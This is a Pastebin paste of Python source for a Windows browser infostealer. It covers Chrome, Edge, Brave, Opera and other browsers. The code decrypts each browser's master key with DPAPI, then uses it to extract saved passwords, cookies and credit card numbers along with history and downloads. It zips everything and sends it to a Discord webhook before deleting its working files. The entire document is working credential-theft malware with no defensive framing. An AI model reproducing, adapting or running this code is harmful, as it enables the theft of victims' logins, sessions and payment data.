sucksuck

Untitled

Dec 23rd, 2022
51
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.95 KB | None | 0 0
  1. import base64
  2. import json
  3. import os
  4. import shutil
  5. import sqlite3
  6. from pathlib import Path
  7. from zipfile import ZipFile
  8.  
  9. from Crypto.Cipher import AES
  10. from discord import Embed, File, SyncWebhook
  11. from win32crypt import CryptUnprotectData
  12.  
  13. __LOGINS__ = []
  14. __COOKIES__ = []
  15. __WEB_HISTORY__ = []
  16. __DOWNLOADS__ = []
  17. __CARDS__ = []
  18.  
  19. class Browsers:
  20. def __init__(self, webhook):
  21. self.webhook = SyncWebhook.from_url(webhook)
  22.  
  23. Chromium()
  24. Opera()
  25. Upload(self.webhook)
  26.  
  27. class Upload:
  28. def __init__(self, webhook: SyncWebhook):
  29. self.webhook = webhook
  30.  
  31. self.write_files()
  32. self.send()
  33. self.clean()
  34.  
  35. def write_files(self):
  36. os.makedirs("vault", exist_ok=True)
  37. if __LOGINS__:
  38. with open("vault\\logins.txt", "w", encoding="utf-8") as f:
  39. f.write('\n'.join(str(x) for x in __LOGINS__))
  40.  
  41. if __COOKIES__:
  42. with open("vault\\cookies.txt", "w", encoding="utf-8") as f:
  43. f.write('\n'.join(str(x) for x in __COOKIES__))
  44.  
  45. if __WEB_HISTORY__:
  46. with open("vault\\web_history.txt", "w", encoding="utf-8") as f:
  47. f.write('\n'.join(str(x) for x in __WEB_HISTORY__))
  48.  
  49. if __DOWNLOADS__:
  50. with open("vault\\downloads.txt", "w", encoding="utf-8") as f:
  51. f.write('\n'.join(str(x) for x in __DOWNLOADS__))
  52.  
  53. if __CARDS__:
  54. with open("vault\\cards.txt", "w", encoding="utf-8") as f:
  55. f.write('\n'.join(str(x) for x in __CARDS__))
  56.  
  57. with ZipFile("vault.zip", "w") as zip:
  58. for file in os.listdir("vault"):
  59. zip.write(f"vault\\{file}", file)
  60.  
  61. def send(self):
  62. self.webhook.send(
  63. embed=Embed(
  64. title="Vault",
  65. description="```" + '\n'.join(self.tree(Path("vault"))) + "```",
  66. ),
  67. file=File("vault.zip"),
  68. )
  69.  
  70. def clean(self):
  71. shutil.rmtree("vault")
  72. os.remove("vault.zip")
  73.  
  74. def tree(self, path: Path, prefix: str = '', midfix_folder: str = '📂 - ', midfix_file: str = '📄 - '):
  75. pipes = {
  76. 'space': ' ',
  77. 'branch': '│ ',
  78. 'tee': '├── ',
  79. 'last': '└── ',
  80. }
  81.  
  82. if prefix == '':
  83. yield midfix_folder + path.name
  84.  
  85. contents = list(path.iterdir())
  86. pointers = [pipes['tee']] * (len(contents) - 1) + [pipes['last']]
  87. for pointer, path in zip(pointers, contents):
  88. if path.is_dir():
  89. yield f"{prefix}{pointer}{midfix_folder}{path.name} ({len(list(path.glob('**/*')))} files, {sum(f.stat().st_size for f in path.glob('**/*') if f.is_file()) / 1024:.2f} kb)"
  90. extension = pipes['branch'] if pointer == pipes['tee'] else pipes['space']
  91. yield from self.tree(path, prefix=prefix+extension)
  92. else:
  93. yield f"{prefix}{pointer}{midfix_file}{path.name} ({path.stat().st_size / 1024:.2f} kb)"
  94.  
  95. class Chromium:
  96. def __init__(self):
  97. self.appdata = os.getenv('LOCALAPPDATA')
  98. self.browsers = {
  99. 'amigo': self.appdata + '\\Amigo\\User Data',
  100. 'torch': self.appdata + '\\Torch\\User Data',
  101. 'kometa': self.appdata + '\\Kometa\\User Data',
  102. 'orbitum': self.appdata + '\\Orbitum\\User Data',
  103. 'cent-browser': self.appdata + '\\CentBrowser\\User Data',
  104. '7star': self.appdata + '\\7Star\\7Star\\User Data',
  105. 'sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data',
  106. 'vivaldi': self.appdata + '\\Vivaldi\\User Data',
  107. 'google-chrome-sxs': self.appdata + '\\Google\\Chrome SxS\\User Data',
  108. 'google-chrome': self.appdata + '\\Google\\Chrome\\User Data',
  109. 'epic-privacy-browser': self.appdata + '\\Epic Privacy Browser\\User Data',
  110. 'microsoft-edge': self.appdata + '\\Microsoft\\Edge\\User Data',
  111. 'uran': self.appdata + '\\uCozMedia\\Uran\\User Data',
  112. 'yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data',
  113. 'brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
  114. 'iridium': self.appdata + '\\Iridium\\User Data',
  115. }
  116. self.profiles = [
  117. 'Default',
  118. 'Profile 1',
  119. 'Profile 2',
  120. 'Profile 3',
  121. 'Profile 4',
  122. 'Profile 5',
  123. ]
  124.  
  125. for _, path in self.browsers.items():
  126. if not os.path.exists(path):
  127. continue
  128.  
  129. self.master_key = self.get_master_key(f'{path}\\Local State')
  130. if not self.master_key:
  131. continue
  132.  
  133. for profile in self.profiles:
  134. if not os.path.exists(path + '\\' + profile):
  135. continue
  136.  
  137. operations = [
  138. self.get_login_data,
  139. self.get_cookies,
  140. self.get_web_history,
  141. self.get_downloads,
  142. self.get_credit_cards,
  143. ]
  144.  
  145. for operation in operations:
  146. try:
  147. operation(path, profile)
  148. except Exception as e:
  149. pass
  150.  
  151. def get_master_key(self, path: str) -> str:
  152. if not os.path.exists(path):
  153. return
  154.  
  155. if 'os_crypt' not in open(path, 'r', encoding='utf-8').read():
  156. return
  157.  
  158. with open(path, "r", encoding="utf-8") as f:
  159. c = f.read()
  160. local_state = json.loads(c)
  161.  
  162. master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
  163. master_key = master_key[5:]
  164. master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
  165. return master_key
  166.  
  167. def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
  168. iv = buff[3:15]
  169. payload = buff[15:]
  170. cipher = AES.new(master_key, AES.MODE_GCM, iv)
  171. decrypted_pass = cipher.decrypt(payload)
  172. decrypted_pass = decrypted_pass[:-16].decode()
  173.  
  174. return decrypted_pass
  175.  
  176. def get_login_data(self, path: str, profile: str):
  177. login_db = f'{path}\\{profile}\\Login Data'
  178. if not os.path.exists(login_db):
  179. return
  180.  
  181. shutil.copy(login_db, 'login_db')
  182. conn = sqlite3.connect('login_db')
  183. cursor = conn.cursor()
  184. cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  185. for row in cursor.fetchall():
  186. if not row[0] or not row[1] or not row[2]:
  187. continue
  188.  
  189. password = self.decrypt_password(row[2], self.master_key)
  190. __LOGINS__.append(Types.Login(row[0], row[1], password))
  191.  
  192. conn.close()
  193. os.remove('login_db')
  194.  
  195. def get_cookies(self, path: str, profile: str):
  196. cookie_db = f'{path}\\{profile}\\Network\\Cookies'
  197. if not os.path.exists(cookie_db):
  198. return
  199.  
  200. shutil.copy(cookie_db, 'cookie_db')
  201. conn = sqlite3.connect('cookie_db')
  202. cursor = conn.cursor()
  203. cursor.execute('SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies')
  204. for row in cursor.fetchall():
  205. if not row[0] or not row[1] or not row[2] or not row[3]:
  206. continue
  207.  
  208. cookie = self.decrypt_password(row[3], self.master_key)
  209. __COOKIES__.append(Types.Cookie(row[0], row[1], row[2], cookie, row[4]))
  210.  
  211. conn.close()
  212. os.remove('cookie_db')
  213.  
  214. def get_web_history(self, path: str, profile: str):
  215. web_history_db = f'{path}\\{profile}\\History'
  216. if not os.path.exists(web_history_db):
  217. return
  218.  
  219. shutil.copy(web_history_db, 'web_history_db')
  220. conn = sqlite3.connect('web_history_db')
  221. cursor = conn.cursor()
  222. cursor.execute('SELECT url, title, last_visit_time FROM urls')
  223. for row in cursor.fetchall():
  224. if not row[0] or not row[1] or not row[2]:
  225. continue
  226.  
  227. __WEB_HISTORY__.append(Types.WebHistory(row[0], row[1], row[2]))
  228.  
  229. conn.close()
  230. os.remove('web_history_db')
  231.  
  232. def get_downloads(self, path: str, profile: str):
  233. downloads_db = f'{path}\\{profile}\\History'
  234. if not os.path.exists(downloads_db):
  235. return
  236.  
  237. shutil.copy(downloads_db, 'downloads_db')
  238. conn = sqlite3.connect('downloads_db')
  239. cursor = conn.cursor()
  240. cursor.execute('SELECT tab_url, target_path FROM downloads')
  241. for row in cursor.fetchall():
  242. if not row[0] or not row[1]:
  243. continue
  244.  
  245. __DOWNLOADS__.append(Types.Download(row[0], row[1]))
  246.  
  247. conn.close()
  248. os.remove('downloads_db')
  249.  
  250. def get_credit_cards(self, path: str, profile: str):
  251. cards_db = f'{path}\\{profile}\\Web Data'
  252. if not os.path.exists(cards_db):
  253. return
  254.  
  255. shutil.copy(cards_db, 'cards_db')
  256. conn = sqlite3.connect('cards_db')
  257. cursor = conn.cursor()
  258. cursor.execute('SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
  259. for row in cursor.fetchall():
  260. if not row[0] or not row[1] or not row[2] or not row[3]:
  261. continue
  262.  
  263. card_number = self.decrypt_password(row[3], self.master_key)
  264. __CARDS__.append(Types.CreditCard(row[0], row[1], row[2], card_number, row[4]))
  265.  
  266. conn.close()
  267. os.remove('cards_db')
  268.  
  269. class Opera:
  270. def __init__(self) -> None:
  271. self.roaming = os.getenv("APPDATA")
  272. self.paths = {
  273. 'operagx': self.roaming + '\\Opera Software\\Opera GX Stable',
  274. 'opera': self.roaming + '\\Opera Software\\Opera Stable'
  275. }
  276.  
  277. for _, path, in self.paths.items():
  278. if not os.path.exists(path):
  279. continue
  280.  
  281. self.master_key = self.get_master_key(f'{path}\\Local State')
  282. if not self.master_key:
  283. continue
  284.  
  285. operations = [
  286. self.get_login_data,
  287. self.get_cookies,
  288. self.get_web_history,
  289. self.get_downloads,
  290. self.get_credit_cards
  291. ]
  292.  
  293. for operation in operations:
  294. try:
  295. operation(path)
  296. except Exception as e:
  297. pass
  298.  
  299. def get_master_key(self, path: str) -> str:
  300. if not os.path.exists(path):
  301. return
  302.  
  303. if 'os_crypt' not in open(path, 'r', encoding='utf-8').read():
  304. return
  305.  
  306. with open(path, "r", encoding="utf-8") as f:
  307. c = f.read()
  308. local_state = json.loads(c)
  309.  
  310. master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
  311. master_key = master_key[5:]
  312. master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
  313.  
  314. return master_key
  315.  
  316. def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
  317. iv = buff[3:15]
  318. payload = buff[15:]
  319. cipher = AES.new(master_key, AES.MODE_GCM, iv)
  320. decrypted_pass = cipher.decrypt(payload)
  321. decrypted_pass = decrypted_pass[:-16].decode()
  322.  
  323. return decrypted_pass
  324.  
  325. def get_login_data(self, path: str) -> None:
  326. login_db = f'{path}\\Login Data'
  327. if not os.path.exists(login_db):
  328. return
  329.  
  330. shutil.copy(login_db, 'login_db')
  331. conn = sqlite3.connect('login_db')
  332. cursor = conn.cursor()
  333. cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
  334. for row in cursor.fetchall():
  335. if not row[0] or not row[1] or not row[2]:
  336. continue
  337.  
  338. password = self.decrypt_password(row[2], self.master_key)
  339. __LOGINS__.append(Types.Login(row[0], row[1], password))
  340.  
  341. cursor.close()
  342. conn.close()
  343. os.remove('login_db')
  344.  
  345. def get_cookies(self, path: str) -> None:
  346. cookies_db = f'{path}\\Network\\Cookies'
  347. if not os.path.exists(cookies_db):
  348. return
  349.  
  350. shutil.copy(cookies_db, 'cookies_db')
  351. conn = sqlite3.connect('cookies_db')
  352. conn.text_factory = bytes
  353. cursor = conn.cursor()
  354. cursor.execute('SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies')
  355. for row in cursor.fetchall():
  356. if not row[0] or not row[1] or not row[2] or not row[3]:
  357. continue
  358.  
  359. cookie = self.decrypt_password(row[3], self.master_key)
  360.  
  361. row = [x.decode('latin-1') if isinstance(x, bytes) else x for x in row]
  362. __COOKIES__.append(Types.Cookie(row[0], row[1], row[2], cookie, row[4]))
  363.  
  364. cursor.close()
  365. conn.close()
  366. os.remove('cookies_db')
  367.  
  368. def get_web_history(self, path: str) -> None:
  369. history_db = f'{path}\\History'
  370. if not os.path.exists(history_db):
  371. return
  372.  
  373. shutil.copy(history_db, 'history_db')
  374. conn = sqlite3.connect('history_db')
  375. cursor = conn.cursor()
  376. cursor.execute("SELECT url, title, last_visit_time FROM urls")
  377. for row in cursor.fetchall():
  378. if not row[0] or not row[1] or not row[2]:
  379. continue
  380.  
  381. __WEB_HISTORY__.append(Types.WebHistory(row[0], row[1], row[2]))
  382.  
  383. cursor.close()
  384. conn.close()
  385. os.remove('history_db')
  386.  
  387. def get_downloads(self, path: str) -> None:
  388. downloads_db = f'{path}\\History'
  389. if not os.path.exists(downloads_db):
  390. return
  391.  
  392. shutil.copy(downloads_db, 'downloads_db')
  393. conn = sqlite3.connect('downloads_db')
  394. cursor = conn.cursor()
  395. cursor.execute('SELECT tab_url, target_path FROM downloads')
  396. for row in cursor.fetchall():
  397. if not row[0] or not row[1]:
  398. continue
  399.  
  400. __DOWNLOADS__.append(Types.Download(row[0], row[1]))
  401.  
  402. cursor.close()
  403. conn.close()
  404. os.remove('downloads_db')
  405.  
  406. def get_credit_cards(self, path: str) -> None:
  407. cards_db = f'{path}\\Web Data'
  408. if not os.path.exists(cards_db):
  409. return
  410.  
  411. shutil.copy(cards_db, 'cards_db')
  412. conn = sqlite3.connect('cards_db')
  413. cursor = conn.cursor()
  414. cursor.execute('SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
  415. for row in cursor.fetchall():
  416. if not row[0] or not row[1] or not row[2] or not row[3] or not row[4]:
  417. continue
  418.  
  419. card_number = self.decrypt_password(row[3], self.master_key)
  420. __CARDS__.append(Types.CreditCard(row[0], row[1], row[2], card_number, row[4]))
  421.  
  422. cursor.close()
  423. conn.close()
  424. os.remove('cards_db')
  425.  
  426. class Types:
  427. class Login:
  428. def __init__(self, url, username, password):
  429. self.url = url
  430. self.username = username
  431. self.password = password
  432.  
  433. def __str__(self):
  434. return f'{self.url}\t{self.username}\t{self.password}'
  435.  
  436. def __repr__(self):
  437. return self.__str__()
  438.  
  439. class Cookie:
  440. def __init__(self, host, name, path, value, expires):
  441. self.host = host
  442. self.name = name
  443. self.path = path
  444. self.value = value
  445. self.expires = expires
  446.  
  447. def __str__(self):
  448. return f'{self.host}\t{"FALSE" if self.expires == 0 else "TRUE"}\t{self.path}\t{"FALSE" if self.host.startswith(".") else "TRUE"}\t{self.expires}\t{self.name}\t{self.value}'
  449.  
  450. def __repr__(self):
  451. return self.__str__()
  452.  
  453. class WebHistory:
  454. def __init__(self, url, title, timestamp):
  455. self.url = url
  456. self.title = title
  457. self.timestamp = timestamp
  458.  
  459. def __str__(self):
  460. return f'{self.url}\t{self.title}\t{self.timestamp}'
  461.  
  462. def __repr__(self):
  463. return self.__str__()
  464.  
  465. class Download:
  466. def __init__(self, tab_url, target_path):
  467. self.tab_url = tab_url
  468. self.target_path = target_path
  469.  
  470. def __str__(self):
  471. return f'{self.tab_url}\t{self.target_path}'
  472.  
  473. def __repr__(self):
  474. return self.__str__()
  475.  
  476. class CreditCard:
  477. def __init__(self, name, month, year, number, date_modified):
  478. self.name = name
  479. self.month = month
  480. self.year = year
  481. self.number = number
  482. self.date_modified = date_modified
  483.  
  484. def __str__(self):
  485. return f'{self.name}\t{self.month}\t{self.year}\t{self.number}\t{self.date_modified}'
  486.  
  487. def __repr__(self):
  488. return self.__str__()
Add Comment
Please, Sign In to add comment